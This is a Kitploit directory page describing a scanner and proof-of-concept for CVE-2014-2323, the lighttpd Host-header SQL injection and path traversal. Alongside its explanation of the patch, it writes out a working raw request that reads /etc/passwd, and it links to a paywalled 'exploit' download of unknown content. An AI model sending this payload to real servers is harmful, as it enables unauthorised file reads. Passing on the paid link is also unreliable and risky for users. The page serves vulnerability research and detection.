Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2014-2323 — Scanner and proof-of-concept exploit for CVE-2014-2323, the lighttpd mod_mysql_vhost Host-header SQL injection and path traversal affecting versions up to 1.4.34. | Kitploit
工具/GitHubGitHub/jonathan1010/cve-2014-2323
Vulnerability ScannersWeb Vulnerability ScannersExploitationWeb Application ExploitationPenetration Testing
GitHubjonathan1010/cve-2014-2323

CVE-2014-2323

Scanner and proof-of-concept exploit for CVE-2014-2323, the lighttpd mod_mysql_vhost Host-header SQL injection and path traversal affecting versions up to 1.4.34.

查看仓库
2026年12月4日尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2014-2323

lighttpd <= 1.4.34 - mod_mysql_vhost SQL injection through the Host header plus path traversal

Metadata

fieldvalue
CVECVE-2014-2323
severitycritical
CVSS9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
fixed in1.4.35 (affected: all versions up to and including 1.4.34)
classSQL injection via Host header / path traversal (CWE-89)
scanner version1.0.0
python3.8+ stdlib only, no third-party deps

Exploit

If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RTK

Summary

lighttpd up to and including 1.4.34 combines two lax behaviours into a full read primitive. request_check_hostname() in src/request.c stops validating a bracketed IPv6 host right after the closing ], so a quoted tail such as [::1]' UNION SELECT '/ leaks verbatim into con->uri.authority. mod_mysql_vhost.c then splices that value into SELECT path FROM vhosts WHERE host='?' with no escaping, so the injected UNION SELECT '/' row becomes the document root of the same request and GET /etc/passwd is served from the filesystem root.

Full description

The vendor advisory (lighttpd SA-2014-01, reported by Jann Horn) splits this into CVE-2014-2323 (SQL injection in mod_mysql_vhost.c, related to request_check_hostname) and CVE-2014-2324 (the path traversal); the fix for the injection also fixes the traversal. The mechanics on a 1.4.34 build with mod_mysql_vhost enabled:

  • request.c::request_check_hostname() validates the IPv6 literal inside the brackets, then only checks a port when the next char is :; any other char leaves the rest of the Host header unchecked and it is stored as-is into con->uri.authority.
  • mod_mysql_vhost.c::mod_mysql_vhost_handle_docroot() builds the query by appending con->uri.authority between the mysql-vhost.sql pre/post fragments with no quoting (1.4.34 calls plain mysql_query()).
  • The first result column becomes the doc root for the request.

Against the template's raw request

GET /etc/passwd HTTP/1.1
Host: [::1]' UNION SELECT '/

the executed statement is SELECT path FROM vhosts WHERE host='[::1]' UNION SELECT '/'; the UNION row supplies / as the doc root, so the plain file /etc/passwd resolves and the body carries root:x:0:0:. That is the single template matcher (type: regex, one raw request, max-request: 1).

Patch comparison (vendor sources src/mod_mysql_vhost.c):

  • 1.4.34 -> 1.4.35 (repository revision 2959): the authority is escaped with mysql_real_escape_string() before being appended to the query and mysql_query() is replaced by mysql_real_query(); request.c also tightens hostname validation. On a patched build the bracketed-plus-tail host is rejected with status 400 and the regex no longer matches.

Remediation: upgrade to lighttpd 1.4.35 or later, or disable mod_mysql_vhost.

Detection model

  • One raw request per target, mirroring the template exactly: GET {base}/etc/passwd with header Host: [::1]' UNION SELECT '/.
  • The only matcher is the template regex root:[x*]:0:0: on the response body; the scanner verdict is that single boolean, like the template.
  • check(url) returns (verdict, details) with status, content type, Server header, a 300-char body window and the per-matcher boolean.
  • A 12-char md5 token over the JSON result distinguishes a parsed response from an empty or truncated one.
  • Every request retries (2 attempts, linear backoff); scheme-less hosts in urls.txt are auto-prefixed with http://.

Usage

python scanner/CVE-2014-2323/scanner.py urls.txt 8 CVE-2014-2323.csv --json CVE-2014-2323.json

python exploit/CVE-2014-2323/exploit.py http://target/ --csv CVE-2014-2323.csv --json CVE-2014-2323.json --verbose

urls.txt is a plain file, one target per line, # for comments.

Example scanner output

[*] lighttpd <= 1.4.34 CVE-2014-2323 mod_mysql_vhost SQL injection + path traversal scanner
 scanner : CVE-2014-2323 v1.0.0
 endpoint: GET /etc/passwd with Host: [::1]' UNION SELECT '/
 matcher : regex root:[x*]:0:0:
 threads : 4 | csv: s2323.csv | json: s2323.json
[..] loaded 1 target(s) from urls_2323.txt
[..] [1/1] http://127.0.0.1:8099 -> VULNERABLE
[..] json sidecar saved: s2323.json
[..] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[..] timing : avg=8ms max=8ms wall=0.01s
[..] report saved: s2323.csv

Scanner report columns

columnmeaning
n1-based row number
urltarget as provided
statusok / error
vulnerableverdict
elapsed_msper-target timing
tokenmd5 proof-of-parse (12 chars)
result_b64base64(JSON) full details

Files

  • scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.
  • README.md - this file.
  • DESCRIPTION.md - deeper technical notes.
  • ../../exploit/CVE-2014-2323/exploit.py - two-request POC with numbered checks and md5 token proof.

Exit codes

codemeaning
0at least one target answered
2every target errored

References

  • Nuclei template: http/cves/2014/CVE-2014-2323.yaml
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2014-2323
  • Vendor advisory: https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
  • Fix announcement: http://www.lighttpd.net/2014/3/12/1.4.35/
  • Patch revision: http://redmine.lighttpd.net/projects/lighttpd/repository/revisions/2959
下载工具

相关工具

  • nuclei

    基于 YAML 的快速漏洞扫描器,采用模板驱动的检测引擎,可对 Web 应用、API、网络、DNS 和云基础设施进行自动化安全测试。

  • zaproxy

    开源Web应用安全扫描器,支持自动化漏洞检测、手动渗透测试和API安全测试,并内置基于代理的拦截引擎。

  • openvas-scanner

    该仓库包含 Greenbone Community Edition 的扫描器组件。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    721
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    535
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

探索所有工具

浏览我们的工具集合

查看所有工具 →